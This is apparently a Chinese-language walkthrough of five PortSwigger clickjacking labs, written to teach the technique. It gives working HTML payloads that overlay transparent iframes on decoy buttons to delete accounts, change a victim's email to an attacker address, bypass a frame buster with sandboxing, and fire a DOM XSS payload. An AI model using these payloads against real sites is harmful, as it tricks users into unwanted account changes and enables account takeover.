PortSwigger Labs 之 点击劫持利用

lab1 带有 csrf token 保护的基本点击劫持

实验一下点击劫持

此时 a 标签透明化了，看不到，但是点击 click me 会执行 a 标签的弹框

a 标签透明度置低后，badclick 显示出来了，由于 a 标签的样式 z-index：2，div 的 z-index: 1，数值大的，视觉层级置顶。所以点击时实际点击了看不见的 a 标签链接

回到 lab 中，加载一个带有加载 myaccount 的 iframe，并且设为透明，

<style>iframe {position:relative;/*相对定位是相对于元素自身在文档流中的原始位置进行偏移*/width:500px;height: 700px;opacity: 1; /*透明度*/z-index: 2;  /*视觉层级在最前面*/}div {position:absolute;/*绝对定位，需要依靠最近的相对定位元素，不占据文档空间，独立存在*/top:500px;left:60px;z-index: 1;/*当iframe透明度低时，div将被覆盖*/}
</style>
<div>Clickjacking</div>
<iframe src="https://0a98000503be89ae8219605d00a10096.web-security-academy.net/my-account"></iframe>

不透明是这样的

透明后 iframe 消失

实验中需要调整 div 的位置，top:500px;点击 store，view exploit，调整 div 的 top 属性值，将透明度设 0.1 方便观察位置，位置到大约 delete account 位置

Lab2 点击劫持改邮箱

调整位置放到 update email 的位置即可，下图因为试验成功后弹出成功标志，把 update 按钮顶下去了。

提交的 iframe 中插入修改邮箱的 url

        <style>iframe {position:relative;width: 500px;height: 700px;opacity:  0.1;z-index: 2;}div {position:absolute;top:450px;left:60px;z-index: 1;}
</style>
<div>Click me</div>
<iframe src="https://0ab4002e03e2d5c382221f3c00830043.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>

lab3 Clickjacking with a frame buster script

        <style>iframe {position:relative;width: 500px;height: 700px;opacity:  0.1;z-index: 2;}div {position:absolute;top:450px;left:60px;z-index: 1;}
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="https://0ab6001703d1c129823c334d00990089.web-security-academy.net/my-account?email=hacker@attacker-website.com""></iframe>

lab4 利用点击劫持触发 dom xss

测试输入后回显了 name

name 处输入<h1>aa</h1> 解析了 h1 标签

        <style>iframe {position:relative;width: 500px;height: 700px;opacity:  0.1;z-index: 2;}div {position:absolute;top:610px;left:75px;z-index: 1;}
</style>
<div>Click me</div>
<iframe src="https://0abc00e50372c49c80343a4c0026009a.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>

lab5 多步骤点击劫持

这次需要点击劫持两次完成删除账户

<style>iframe {position:relative;width:500px;height: 700px;opacity: 0.1;z-index: 2;}.firstClick, .secondClick {position:absolute;top:490;left:60;z-index: 1;}.secondClick {top:290;left:200;}
</style>
<div class="firstClick">Test me first</div>
<div class="secondClick">Test me next</div>
<iframe src="https://0a8300060341c49f8082532e00070054.web-security-academy.net/my-account/my-account"></iframe>

echo "QmlsaWJpbGkgc2VhcmNoICdQZW5UZXN0M3JfWmVybGsnIGZvciBtb3JlIHZpZGVvLCBUaGFuayB5
b3UgZm9yIHlvdXIgc3VwcG9ydCEK"|base64 -d